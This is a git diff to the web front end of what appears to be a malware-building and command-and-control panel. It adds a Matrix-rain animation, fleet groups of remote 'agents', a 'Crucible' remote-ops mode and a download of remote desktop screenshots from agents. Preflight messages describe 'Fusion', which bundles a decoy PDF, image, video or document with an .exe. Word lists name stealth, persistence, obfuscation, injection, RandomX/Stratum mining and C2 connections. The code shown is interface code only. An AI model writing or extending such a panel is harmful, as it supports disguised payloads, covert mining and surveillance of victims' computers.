|
||||||
|
const intenseMode = forging || crucibleFocus;
|
||||||
|
const wrapClass = intenseMode
|
||||||
|
? `matrix-rain-wrap matrix-rain-wrap--intense${crucibleFocus && !forging ? ' matrix-rain-wrap--crucible' : ''}${forging ? ' matrix-rain-wrap--forge' : ''}`
|
||||||
|
: 'matrix-rain-wrap';
|
||||||
|
|
||||||
// ── Canvas renderer ─────────────────────────────────────────────────────────
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const canvas = canvasRef.current;
|
const canvas = canvasRef.current;
|
||||||
const wrap = wrapRef.current;
|
const wrap = wrapRef.current;
|
||||||
@@ -95,7 +117,6 @@ export default function MatrixRain() {
|
|||||||
const ctx = canvas.getContext('2d');
|
const ctx = canvas.getContext('2d');
|
||||||
if (!ctx) return;
|
if (!ctx) return;
|
||||||
|
|
||||||
// Resize canvas to match wrapper
|
|
||||||
const resize = () => {
|
const resize = () => {
|
||||||
const r = wrap.getBoundingClientRect();
|
const r = wrap.getBoundingClientRect();
|
||||||
canvas.width = Math.floor(r.width);
|
canvas.width = Math.floor(r.width);
|
||||||
@@ -106,9 +127,11 @@ export default function MatrixRain() {
|
|||||||
ro.observe(wrap);
|
ro.observe(wrap);
|
||||||
|
|
||||||
let cols: Column[] = [];
|
let cols: Column[] = [];
|
||||||
|
const wordDropsRef: WordDrop[] = [];
|
||||||
|
|
||||||
const resetCols = () => {
|
const resetCols = () => {
|
||||||
const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE));
|
const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE));
|
||||||
cols = Array.from({ length: numCols }, (_, i) => ({
|
cols = Array.from({ length: numCols }, () => ({
|
||||||
y: Math.random() * -(canvas.height * 2),
|
y: Math.random() * -(canvas.height * 2),
|
||||||
speed: 0.3 + Math.random() * 0.55,
|
speed: 0.3 + Math.random() * 0.55,
|
||||||
liveSrc: '',
|
liveSrc: '',
|
||||||
@@ -117,7 +140,19 @@ export default function MatrixRain() {
|
|||||||
};
|
};
|
||||||
resetCols();
|
resetCols();
|
||||||
|
|
||||||
// Periodically inject live data strings into random columns
|
const spawnWordDrop = () => {
|
||||||
|
if (cols.length < 4) return;
|
||||||
|
const text = pickMysticWord();
|
||||||
|
const span = wordColumnSpan(text);
|
||||||
|
const colStart = Math.floor(Math.random() * Math.max(1, cols.length - span));
|
||||||
|
wordDropsRef.push({
|
||||||
|
text,
|
||||||
|
colStart,
|
||||||
|
y: -span - 2,
|
||||||
|
speed: 0.35 + Math.random() * 0.25,
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
const injectInterval = setInterval(() => {
|
const injectInterval = setInterval(() => {
|
||||||
const pool = livePoolRef.current;
|
const pool = livePoolRef.current;
|
||||||
if (pool.length === 0 || cols.length === 0) return;
|
if (pool.length === 0 || cols.length === 0) return;
|
||||||
@@ -127,13 +162,51 @@ export default function MatrixRain() {
|
|||||||
cols[colIdx].livePos = 0;
|
cols[colIdx].livePos = 0;
|
||||||
}, 180);
|
}, 180);
|
||||||
|
|
||||||
|
const wordInterval = setInterval(() => {
|
||||||
|
if (!forgingRef.current) spawnWordDrop();
|
||||||
|
}, 7000 + Math.random() * 5000);
|
||||||
|
|
||||||
|
spawnWordDrop();
|
||||||
|
|
||||||
let raf: number;
|
let raf: number;
|
||||||
let lastTime = 0;
|
let lastTime = 0;
|
||||||
|
|
||||||
|
const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => {
|
||||||
|
const H = canvas.height;
|
||||||
|
let lastCharIdx = wd.text.length - 1;
|
||||||
|
while (lastCharIdx >= 0 && wd.text[lastCharIdx] === ' ') lastCharIdx--;
|
||||||
|
|
||||||
|
let colIdx = 0;
|
||||||
|
for (let i = 0; i < wd.text.length; i++) {
|
||||||
|
const ch = wd.text[i];
|
||||||
|
if (ch === ' ') {
|
||||||
|
colIdx++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const row = wd.y - (wd.text.length - 1 - i);
|
||||||
|
const py = row * FONT_SIZE;
|
||||||
|
if (py < -FONT_SIZE || py > H + FONT_SIZE) {
|
||||||
|
colIdx++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const x = (wd.colStart + colIdx) * FONT_SIZE;
|
||||||
|
const isHead = i === lastCharIdx;
|
||||||
|
|
||||||
|
if (intense) {
|
||||||
|
ctx.fillStyle = isHead ? 'rgba(255,235,120,1)' : 'rgba(255,140,0,0.85)';
|
||||||
|
} else {
|
||||||
|
ctx.fillStyle = isHead ? 'rgba(220,120,255,1)' : 'rgba(140,0,200,0.55)';
|
||||||
|
}
|
||||||
|
ctx.fillText(ch, x, py);
|
||||||
|
colIdx++;
|
||||||
|
}
|
||||||
|
wd.y += wd.speed * speedMult;
|
||||||
|
};
|
||||||
|
|
||||||
const draw = (ts: number) => {
|
const draw = (ts: number) => {
|
||||||
raf = requestAnimationFrame(draw);
|
raf = requestAnimationFrame(draw);
|
||||||
const isForging = forgingRef.current;
|
const intense = forgingRef.current || crucibleRef.current;
|
||||||
const targetFps = isForging ? 50 : 24;
|
const targetFps = intense ? 50 : 24;
|
||||||
const msPerFrame = 1000 / targetFps;
|
const msPerFrame = 1000 / targetFps;
|
||||||
if (ts - lastTime < msPerFrame) return;
|
if (ts - lastTime < msPerFrame) return;
|
||||||
lastTime = ts;
|
lastTime = ts;
|
||||||
@@ -141,21 +214,18 @@ export default function MatrixRain() {
|
|||||||
const W = canvas.width;
|
const W = canvas.width;
|
||||||
const H = canvas.height;
|
const H = canvas.height;
|
||||||
|
|
||||||
// Forge mode: less fade = longer glowing trails; normal: quick fade
|
ctx.fillStyle = intense ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)';
|
||||||
ctx.fillStyle = isForging ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)';
|
|
||||||
ctx.fillRect(0, 0, W, H);
|
ctx.fillRect(0, 0, W, H);
|
||||||
|
|
||||||
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
|
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
|
||||||
|
|
||||||
// Speed multiplier: 3× faster while forging
|
const speedMult = intense ? 3.2 : 1.0;
|
||||||
const speedMult = isForging ? 3.2 : 1.0;
|
|
||||||
|
|
||||||
for (let i = 0; i < cols.length; i++) {
|
for (let i = 0; i < cols.length; i++) {
|
||||||
const col = cols[i];
|
const col = cols[i];
|
||||||
const x = i * FONT_SIZE;
|
const x = i * FONT_SIZE;
|
||||||
const y = col.y;
|
const y = col.y;
|
||||||
|
|
||||||
// Pick character: live data char or random alphabet
|
|
||||||
let ch: string;
|
let ch: string;
|
||||||
if (col.liveSrc && col.livePos < col.liveSrc.length) {
|
if (col.liveSrc && col.livePos < col.liveSrc.length) {
|
||||||
ch = col.liveSrc[col.livePos];
|
ch = col.liveSrc[col.livePos];
|
||||||
@@ -164,8 +234,7 @@ export default function MatrixRain() {
|
|||||||
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
|
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isForging) {
|
if (intense) {
|
||||||
// Forge palette: bright amber/orange head, orange body
|
|
||||||
ctx.fillStyle = 'rgba(255,220,80,0.98)';
|
ctx.fillStyle = 'rgba(255,220,80,0.98)';
|
||||||
ctx.fillText(ch, x, y * FONT_SIZE);
|
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||||
if (y > 1) {
|
if (y > 1) {
|
||||||
@@ -173,21 +242,19 @@ export default function MatrixRain() {
|
|||||||
ctx.fillText(
|
ctx.fillText(
|
||||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
x,
|
x,
|
||||||
(y - 1) * FONT_SIZE,
|
(y - 1) * FONT_SIZE
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
// Extra mid-column glyph density during forge
|
if (Math.random() < 0.14) {
|
||||||
if (Math.random() < 0.12) {
|
|
||||||
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
|
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
|
||||||
ctx.fillStyle = 'rgba(255,120,0,0.35)';
|
ctx.fillStyle = 'rgba(255,120,0,0.4)';
|
||||||
ctx.fillText(
|
ctx.fillText(
|
||||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
x,
|
x,
|
||||||
dimY * FONT_SIZE,
|
dimY * FONT_SIZE
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// Normal palette: white head, cyan-green body
|
|
||||||
ctx.fillStyle = 'rgba(255,255,255,0.95)';
|
ctx.fillStyle = 'rgba(255,255,255,0.95)';
|
||||||
ctx.fillText(ch, x, y * FONT_SIZE);
|
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||||
if (y > 1) {
|
if (y > 1) {
|
||||||
@@ -195,7 +262,7 @@ export default function MatrixRain() {
|
|||||||
ctx.fillText(
|
ctx.fillText(
|
||||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
x,
|
x,
|
||||||
(y - 1) * FONT_SIZE,
|
(y - 1) * FONT_SIZE
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (Math.random() < 0.04) {
|
if (Math.random() < 0.04) {
|
||||||
@@ -204,7 +271,7 @@ export default function MatrixRain() {
|
|||||||
ctx.fillText(
|
ctx.fillText(
|
||||||
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
x,
|
x,
|
||||||
dimY * FONT_SIZE,
|
dimY * FONT_SIZE
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -218,18 +285,29 @@ export default function MatrixRain() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Event log overlay — bottom of canvas ──────────────────────────
|
for (let w = wordDropsRef.length - 1; w >= 0; w--) {
|
||||||
|
drawWordDrop(wordDropsRef[w], speedMult, intense);
|
||||||
|
if (wordDropsRef[w].y * FONT_SIZE > H + 40) {
|
||||||
|
wordDropsRef.splice(w, 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (wordDropsRef.length < 3 && Math.random() < 0.02) {
|
||||||
|
spawnWordDrop();
|
||||||
|
}
|
||||||
|
|
||||||
const logs = eventLogRef.current;
|
const logs = eventLogRef.current;
|
||||||
const lineH = FONT_SIZE + 2;
|
const lineH = FONT_SIZE + 2;
|
||||||
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
|
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
|
||||||
const isForging2 = forgingRef.current;
|
|
||||||
for (let j = 0; j < logs.length; j++) {
|
for (let j = 0; j < logs.length; j++) {
|
||||||
const entry = logs[logs.length - 1 - j];
|
const entry = logs[logs.length - 1 - j];
|
||||||
const oy = H - 6 - j * lineH;
|
const oy = H - 6 - j * lineH;
|
||||||
if (oy < 0) break;
|
if (oy < 0) break;
|
||||||
const logColor = isForging2
|
const fail = entry.text.includes('FAIL') || entry.text.includes('REJECT');
|
||||||
|
const logColor = intense
|
||||||
? `rgba(255,160,0,${(entry.alpha * 0.75).toFixed(2)})`
|
? `rgba(255,160,0,${(entry.alpha * 0.75).toFixed(2)})`
|
||||||
: `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
|
: fail
|
||||||
|
? `rgba(255,80,80,${(entry.alpha * 0.65).toFixed(2)})`
|
||||||
|
: `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
|
||||||
ctx.fillStyle = logColor;
|
ctx.fillStyle = logColor;
|
||||||
ctx.fillText(`> ${entry.text}`, 4, oy);
|
ctx.fillText(`> ${entry.text}`, 4, oy);
|
||||||
entry.alpha = Math.max(0, entry.alpha - 0.003);
|
entry.alpha = Math.max(0, entry.alpha - 0.003);
|
||||||
@@ -241,16 +319,15 @@ export default function MatrixRain() {
|
|||||||
return () => {
|
return () => {
|
||||||
cancelAnimationFrame(raf);
|
cancelAnimationFrame(raf);
|
||||||
clearInterval(injectInterval);
|
clearInterval(injectInterval);
|
||||||
|
clearInterval(wordInterval);
|
||||||
ro.disconnect();
|
ro.disconnect();
|
||||||
};
|
};
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div ref={wrapRef} className="matrix-rain-wrap" aria-hidden="true">
|
<div ref={wrapRef} className={wrapClass} aria-hidden="true">
|
||||||
<canvas ref={canvasRef} className="matrix-rain-canvas" />
|
<canvas ref={canvasRef} className="matrix-rain-canvas" />
|
||||||
{/* Scanline overlay for authentic CRT feel */}
|
|
||||||
<div className="matrix-rain-scanlines" />
|
<div className="matrix-rain-scanlines" />
|
||||||
{/* Top and bottom vignette fades */}
|
|
||||||
<div className="matrix-rain-vignette-top" />
|
<div className="matrix-rain-vignette-top" />
|
||||||
<div className="matrix-rain-vignette-btm" />
|
<div className="matrix-rain-vignette-btm" />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
28
server/web/src/context/MatrixRainContext.tsx
Normal file
28
server/web/src/context/MatrixRainContext.tsx
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
import { createContext, useContext, useMemo, useState, type ReactNode } from 'react';
|
||||||
|
|
||||||
|
export type MatrixRainContextValue = {
|
||||||
|
/** True when Crucible has exactly one online node selected for remote ops. */
|
||||||
|
crucibleFocus: boolean;
|
||||||
|
setCrucibleFocus: (active: boolean) => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
const MatrixRainContext = createContext<MatrixRainContextValue | null>(null);
|
||||||
|
|
||||||
|
export function MatrixRainProvider({ children }: { children: ReactNode }) {
|
||||||
|
const [crucibleFocus, setCrucibleFocus] = useState(false);
|
||||||
|
const value = useMemo(
|
||||||
|
() => ({ crucibleFocus, setCrucibleFocus }),
|
||||||
|
[crucibleFocus]
|
||||||
|
);
|
||||||
|
return (
|
||||||
|
<MatrixRainContext.Provider value={value}>{children}</MatrixRainContext.Provider>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useMatrixRain(): MatrixRainContextValue {
|
||||||
|
const ctx = useContext(MatrixRainContext);
|
||||||
|
if (!ctx) {
|
||||||
|
return { crucibleFocus: false, setCrucibleFocus: () => {} };
|
||||||
|
}
|
||||||
|
return ctx;
|
||||||
|
}
|
||||||
40
server/web/src/help/fleetGroups.test.ts
Normal file
40
server/web/src/help/fleetGroups.test.ts
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
import { describe, it, expect, beforeEach } from 'vitest';
|
||||||
|
import {
|
||||||
|
createFleetGroup,
|
||||||
|
groupsForAgent,
|
||||||
|
loadFleetGroups,
|
||||||
|
normalizeGroupColor,
|
||||||
|
primaryGroupForAgent,
|
||||||
|
saveFleetGroups,
|
||||||
|
} from './fleetGroups';
|
||||||
|
|
||||||
|
describe('fleetGroups', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
localStorage.clear();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('normalizeGroupColor accepts hex', () => {
|
||||||
|
expect(normalizeGroupColor('#abc')).toBe('#aabbcc');
|
||||||
|
expect(normalizeGroupColor('#aabbcc')).toBe('#aabbcc');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('persists and loads groups', () => {
|
||||||
|
const g = createFleetGroup('Rack A', '#ff00ff', ['a1', 'a2']);
|
||||||
|
saveFleetGroups([g]);
|
||||||
|
const loaded = loadFleetGroups();
|
||||||
|
expect(loaded).toHaveLength(1);
|
||||||
|
expect(loaded[0].name).toBe('Rack A');
|
||||||
|
expect(loaded[0].agentIds).toEqual(['a1', 'a2']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('groupsForAgent and primaryGroupForAgent', () => {
|
||||||
|
const groups = [
|
||||||
|
createFleetGroup('G1', '#00f5ff', ['x']),
|
||||||
|
createFleetGroup('G2', '#ff0000', ['x', 'y']),
|
||||||
|
];
|
||||||
|
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);
|
||||||
|
expect(primaryGroupForAgent(groups, 'x')?.name).toBe('G1');
|
||||||
|
saveFleetGroups(groups);
|
||||||
|
expect(loadFleetGroups()).toHaveLength(2);
|
||||||
|
});
|
||||||
|
});
|
||||||
97
server/web/src/help/fleetGroups.ts
Normal file
97
server/web/src/help/fleetGroups.ts
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
/** Fleet node groups — persisted in localStorage, shared across Roster + Crucible. */
|
||||||
|
|
||||||
|
export interface FleetGroup {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
color: string;
|
||||||
|
agentIds: string[];
|
||||||
|
createdAt: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const FLEET_GROUP_COLORS = [
|
||||||
|
'#00f5ff',
|
||||||
|
'#39ff14',
|
||||||
|
'#ff2da6',
|
||||||
|
'#b24bf3',
|
||||||
|
'#ffb020',
|
||||||
|
'#ff6b35',
|
||||||
|
'#00d4aa',
|
||||||
|
'#3a86ff',
|
||||||
|
'#f72585',
|
||||||
|
'#ffd60a',
|
||||||
|
'#06d6a0',
|
||||||
|
'#e63946',
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export const FLEET_GROUPS_STORAGE_KEY = 'aetherforge_fleet_groups';
|
||||||
|
export const FLEET_GROUPS_CHANGED_EVENT = 'aetherforge-fleet-groups-changed';
|
||||||
|
|
||||||
|
export function normalizeGroupColor(color: string): string {
|
||||||
|
const c = color.trim();
|
||||||
|
if (/^#[0-9A-Fa-f]{6}$/.test(c)) return c;
|
||||||
|
if (/^#[0-9A-Fa-f]{3}$/.test(c)) {
|
||||||
|
const r = c[1];
|
||||||
|
const g = c[2];
|
||||||
|
const b = c[3];
|
||||||
|
return `#${r}${r}${g}${g}${b}${b}`;
|
||||||
|
}
|
||||||
|
return FLEET_GROUP_COLORS[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function loadFleetGroups(): FleetGroup[] {
|
||||||
|
try {
|
||||||
|
const raw = localStorage.getItem(FLEET_GROUPS_STORAGE_KEY);
|
||||||
|
if (!raw) return [];
|
||||||
|
const parsed = JSON.parse(raw) as unknown;
|
||||||
|
if (!Array.isArray(parsed)) return [];
|
||||||
|
return parsed
|
||||||
|
.map((g) => {
|
||||||
|
if (!g || typeof g !== 'object') return null;
|
||||||
|
const o = g as Record<string, unknown>;
|
||||||
|
const name = typeof o.name === 'string' ? o.name.trim() : '';
|
||||||
|
if (!name) return null;
|
||||||
|
const agentIds = Array.isArray(o.agentIds)
|
||||||
|
? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
|
||||||
|
: [];
|
||||||
|
return {
|
||||||
|
id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`,
|
||||||
|
name,
|
||||||
|
color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
|
||||||
|
agentIds,
|
||||||
|
createdAt: typeof o.createdAt === 'string' ? o.createdAt : new Date().toISOString(),
|
||||||
|
} satisfies FleetGroup;
|
||||||
|
})
|
||||||
|
.filter((g): g is FleetGroup => g !== null);
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function saveFleetGroups(groups: FleetGroup[]): void {
|
||||||
|
localStorage.setItem(FLEET_GROUPS_STORAGE_KEY, JSON.stringify(groups));
|
||||||
|
window.dispatchEvent(new Event(FLEET_GROUPS_CHANGED_EVENT));
|
||||||
|
}
|
||||||
|
|
||||||
|
export function createFleetGroup(name: string, color: string, agentIds: string[]): FleetGroup {
|
||||||
|
return {
|
||||||
|
id: `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`,
|
||||||
|
name: name.trim(),
|
||||||
|
color: normalizeGroupColor(color),
|
||||||
|
agentIds: [...new Set(agentIds)],
|
||||||
|
createdAt: new Date().toISOString(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Groups that contain this agent (preserves group list order). */
|
||||||
|
export function groupsForAgent(groups: FleetGroup[], agentId: string): FleetGroup[] {
|
||||||
|
return groups.filter((g) => g.agentIds.includes(agentId));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** First group color for an agent (roster stripe / Crucible accent). */
|
||||||
|
export function primaryGroupForAgent(groups: FleetGroup[], agentId: string): FleetGroup | undefined {
|
||||||
|
return groups.find((g) => g.agentIds.includes(agentId));
|
||||||
|
}
|
||||||
|
|
||||||
|
export function notifyFleetGroupsChanged(): void {
|
||||||
|
window.dispatchEvent(new Event(FLEET_GROUPS_CHANGED_EVENT));
|
||||||
|
}
|
||||||
@@ -92,9 +92,16 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
|||||||
|
|
||||||
if (form.fusion_enabled) {
|
if (form.fusion_enabled) {
|
||||||
if (!fusionPrepSelected) {
|
if (!fusionPrepSelected) {
|
||||||
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — upload your prep.exe.' });
|
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — choose a file to fuse (PDF, PNG, video, doc, or .exe).' });
|
||||||
} else {
|
} else {
|
||||||
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → output ${form.fusion_output_name || 'prep.exe'}.` });
|
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → universal ZIP with runners for ${form.fusion_output_name || 'each OS'}.` });
|
||||||
|
}
|
||||||
|
if (fusionPrepSelected && form.fusion_media_mode === 'embedded') {
|
||||||
|
checks.push({
|
||||||
|
id: 'fusion_embedded',
|
||||||
|
level: 'warn',
|
||||||
|
message: 'Embedded mode bakes the file into one .exe — use ZIP bundle (paired) for large images/videos or if the build fails.',
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
14
server/web/src/help/matrixRainEffects.test.ts
Normal file
14
server/web/src/help/matrixRainEffects.test.ts
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { pickMysticWord, wordColumnSpan, MYSTIC_WORD_DROPS } from './matrixRainEffects';
|
||||||
|
|
||||||
|
describe('matrixRainEffects', () => {
|
||||||
|
it('pickMysticWord returns known words', () => {
|
||||||
|
const w = pickMysticWord();
|
||||||
|
expect(MYSTIC_WORD_DROPS).toContain(w);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('wordColumnSpan matches string length', () => {
|
||||||
|
expect(wordColumnSpan('DESTROY')).toBe(7);
|
||||||
|
expect(wordColumnSpan('BLACK MAGIC')).toBe(11);
|
||||||
|
});
|
||||||
|
});
|
||||||
30
server/web/src/help/matrixRainEffects.ts
Normal file
30
server/web/src/help/matrixRainEffects.ts
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
/** Words that fall as intact columns through the sidebar matrix rain. */
|
||||||
|
export const MYSTIC_WORD_DROPS = [
|
||||||
|
'DESTROY',
|
||||||
|
'WITCHCRAFT',
|
||||||
|
'BLACKMAGIC',
|
||||||
|
'BLACK MAGIC',
|
||||||
|
'VOID',
|
||||||
|
'CURSE',
|
||||||
|
'BINDING',
|
||||||
|
'SIGNAL',
|
||||||
|
'EXECUTE',
|
||||||
|
'POSSESS',
|
||||||
|
'SUMMON',
|
||||||
|
'AETHER',
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export const FORGE_RAIN_STRINGS = [
|
||||||
|
'COMPILING', 'LINKING', 'GARBLE', 'GO BUILD', 'INJECT',
|
||||||
|
'STEALTH', 'PERSIST', 'ENCRYPT', 'OBFUSC', 'PACKAGE',
|
||||||
|
'WORKER', 'FORGE', 'SIGN', 'BUNDLE', 'AGENT',
|
||||||
|
'RANDOMX', 'STRATUM', 'C2CONN', 'DEPLOY',
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export function pickMysticWord(): string {
|
||||||
|
return MYSTIC_WORD_DROPS[Math.floor(Math.random() * MYSTIC_WORD_DROPS.length)];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function wordColumnSpan(text: string): number {
|
||||||
|
return text.length;
|
||||||
|
}
|
||||||
14
server/web/src/help/screenshotDownload.test.ts
Normal file
14
server/web/src/help/screenshotDownload.test.ts
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { sanitizeScreenshotBase64 } from './screenshotDownload';
|
||||||
|
|
||||||
|
describe('screenshotDownload', () => {
|
||||||
|
it('sanitizeScreenshotBase64 picks the longest base64 chunk', () => {
|
||||||
|
const junk = "warning\n/9j/QUJD\n";
|
||||||
|
const b64 = 'A'.repeat(120);
|
||||||
|
expect(sanitizeScreenshotBase64(`${junk}${b64}`)).toBe(b64);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns empty when no valid base64', () => {
|
||||||
|
expect(sanitizeScreenshotBase64('not an image')).toBe('');
|
||||||
|
});
|
||||||
|
});
|
||||||
42
server/web/src/help/screenshotDownload.ts
Normal file
42
server/web/src/help/screenshotDownload.ts
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
/** Strip whitespace and download a remote desktop capture as a JPEG file. */
|
||||||
|
export function sanitizeScreenshotBase64(raw: string): string {
|
||||||
|
const trimmed = raw.trim().replace(/^\uFEFF/, '');
|
||||||
|
let best = '';
|
||||||
|
for (const part of trimmed.split(/\s+/)) {
|
||||||
|
const cleaned = part.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||||
|
if (cleaned.length > best.length && cleaned.length >= 100) {
|
||||||
|
best = cleaned;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (best.length >= 100) return best;
|
||||||
|
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||||
|
}
|
||||||
|
|
||||||
|
export function downloadScreenshotFromBase64(
|
||||||
|
base64: string,
|
||||||
|
agentLabel: string
|
||||||
|
): boolean {
|
||||||
|
const clean = sanitizeScreenshotBase64(base64);
|
||||||
|
if (clean.length < 100) return false;
|
||||||
|
|
||||||
|
const safeName = agentLabel.replace(/[^\w.-]+/g, '_').slice(0, 64) || 'agent';
|
||||||
|
const stamp = new Date().toISOString().replace(/[:.]/g, '-');
|
||||||
|
const blob = base64ToBlob(clean, 'image/jpeg');
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = `screenshot-${safeName}-${stamp}.jpg`;
|
||||||
|
a.rel = 'noopener';
|
||||||
|
document.body.appendChild(a);
|
||||||
|
a.click();
|
||||||
|
a.remove();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function base64ToBlob(b64: string, mime: string): Blob {
|
||||||
|
const binary = atob(b64);
|
||||||
|
const bytes = new Uint8Array(binary.length);
|
||||||
|
for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
|
||||||
|
return new Blob([bytes], { type: mime });
|
||||||
|
}
|
||||||
64
server/web/src/hooks/useFleetGroups.ts
Normal file
64
server/web/src/hooks/useFleetGroups.ts
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
import { useCallback, useEffect, useState } from 'react';
|
||||||
|
import {
|
||||||
|
createFleetGroup,
|
||||||
|
FLEET_GROUPS_CHANGED_EVENT,
|
||||||
|
FLEET_GROUPS_STORAGE_KEY,
|
||||||
|
loadFleetGroups,
|
||||||
|
saveFleetGroups,
|
||||||
|
type FleetGroup,
|
||||||
|
} from '../help/fleetGroups';
|
||||||
|
|
||||||
|
export function useFleetGroups() {
|
||||||
|
const [groups, setGroups] = useState<FleetGroup[]>(() => loadFleetGroups());
|
||||||
|
|
||||||
|
const refresh = useCallback(() => {
|
||||||
|
setGroups(loadFleetGroups());
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const onChange = () => refresh();
|
||||||
|
window.addEventListener(FLEET_GROUPS_CHANGED_EVENT, onChange);
|
||||||
|
const onStorage = (e: StorageEvent) => {
|
||||||
|
if (e.key === FLEET_GROUPS_STORAGE_KEY) refresh();
|
||||||
|
};
|
||||||
|
window.addEventListener('storage', onStorage);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener(FLEET_GROUPS_CHANGED_EVENT, onChange);
|
||||||
|
window.removeEventListener('storage', onStorage);
|
||||||
|
};
|
||||||
|
}, [refresh]);
|
||||||
|
|
||||||
|
const persist = useCallback((next: FleetGroup[]) => {
|
||||||
|
saveFleetGroups(next);
|
||||||
|
setGroups(next);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const addGroup = useCallback(
|
||||||
|
(name: string, color: string, agentIds: string[]) => {
|
||||||
|
const g = createFleetGroup(name, color, agentIds);
|
||||||
|
persist([...loadFleetGroups(), g]);
|
||||||
|
return g;
|
||||||
|
},
|
||||||
|
[persist]
|
||||||
|
);
|
||||||
|
|
||||||
|
const removeGroup = useCallback(
|
||||||
|
(id: string) => {
|
||||||
|
persist(loadFleetGroups().filter((g) => g.id !== id));
|
||||||
|
},
|
||||||
|
[persist]
|
||||||
|
);
|
||||||
|
|
||||||
|
const updateGroupAgents = useCallback(
|
||||||
|
(id: string, agentIds: string[]) => {
|
||||||
|
persist(
|
||||||
|
loadFleetGroups().map((g) =>
|
||||||
|
g.id === id ? { ...g, agentIds: [...new Set(agentIds)] } : g
|
||||||
|
)
|
